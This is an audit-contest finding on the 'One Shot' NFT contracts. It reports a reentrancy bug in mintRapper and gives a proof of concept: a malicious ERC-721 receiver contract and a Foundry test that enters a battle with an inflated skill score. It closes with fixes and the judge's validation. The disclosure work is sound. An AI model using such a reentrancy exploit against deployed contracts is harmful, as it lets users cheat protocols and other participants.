First Flight #10: One Shot
First Flight #10
Beginner FriendlyFoundryNFT
100 EXP
View results
Previous Next
Submission Details
Severity: medium
Valid

NFT in `MintRapper` is initialized after the token distribution, resulting in a reentrancy vulnerability in the `goOnStageOrBattle` function

0xlouistsai

Summary

The mintRapper function in the OneShot file has a vulnerability where the ERC-721 token is distributed before updating the rapperStats. This sequence allows a potential reentrancy attack, as a malicious contract can mint the NFT, triggered the onERC721Received function in their contract, and then exploit the NFT to initiate a rapper battle using the goOnStageOrBattle function in the rapperBattle file. This results in the NFT having a rapperStats value of 65 instead of the expected initialized value of 50, potentially impacting the outcome of battles and allowing users to gain an extra 15 points without proper staking.

Vulnerability Details

The vulnerability arises from the order of execution in the mintRapper function, allowing a reentrancy attack. A malicious contract can mint an NFT, receive it through the onERC721Received function, and then immediately trigger a rapper battle, taking advantage of the uninitialized rapperStats value. The impact of this vulnerability is verified through the MockERC721Receiver contract and the testReentrancyIssue test in RapBattleTest, displaying a final skill value of 65 instead of the expected initialized value of 50.

Adding MockERC721Receiver in OneShotTest.t.sol:

contract MockERC721Receiver is Test {
OneShot oneShot;
Credibility cred;
RapBattle rapBattle;
​
event Battle(address indexed challenger, uint256 tokenId, address indexed winner);
​
constructor(OneShot _oneShot, Credibility _cred, RapBattle _rapBattle) payable {
oneShot = _oneShot;
cred = _cred;
rapBattle = _rapBattle;
}
​
function mintRapper() public {
oneShot.mintRapper();
}
​
function onERC721Received(address, address, uint256 tokenId, bytes calldata) external returns (bytes4) {
oneShot.approve(address(rapBattle), tokenId);
uint256 finalSkill = rapBattle.getRapperSkill(tokenId);
console.log(finalSkill);
​
rapBattle.goOnStageOrBattle(tokenId, cred.balanceOf(address(this)));
return bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"));
}
}

Adding the test in RapBattleTest test contract

function testReentrancyIssue() public mintRapper {
address attacker = makeAddr("attacker");
vm.startPrank(user);
oneShot.approve(address(rapBattle), 0);
rapBattle.goOnStageOrBattle(0, 0);
​
vm.startPrank(attacker);
MockERC721Receiver receiver = new MockERC721Receiver(oneShot, cred, rapBattle);
receiver.mintRapper();
vm.stopPrank();
}

In the console, it display the final skill as the following:

​
[PASS] testReentrancyIssue() (gas: 1242062)
Logs:
65
​
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 7.64ms

The result is 65 instead of 50.

Impact

This vulnerability enables users to gain an additional 15 points without proper staking, influencing the results of battles. It deviates from the original protocol design, potentially compromising the fairness and integrity of the system.

Tools Used

Manual Review

Recommendations

To mitigate the reentrancy attack and ensure proper initialization, the following recommendations are suggested:

  1. Reentrancy Guard: Implement a reentrancy guard in relevant functions to introduce a mutex lock, protecting shared state variables from reentrancy attacks.

  2. CEI Pattern (Check-Effect-Interaction): Reorder the statements in the mintRapper function to follow the CEI pattern. Ensure that the rapperStats are initialized before any battles are initiated, preventing the exploitation of uninitialized values in reentrancy attacks.

Updates

Lead Judging Commences

inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

mintRapper reentrancy leads to fighting having better chances of winning.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.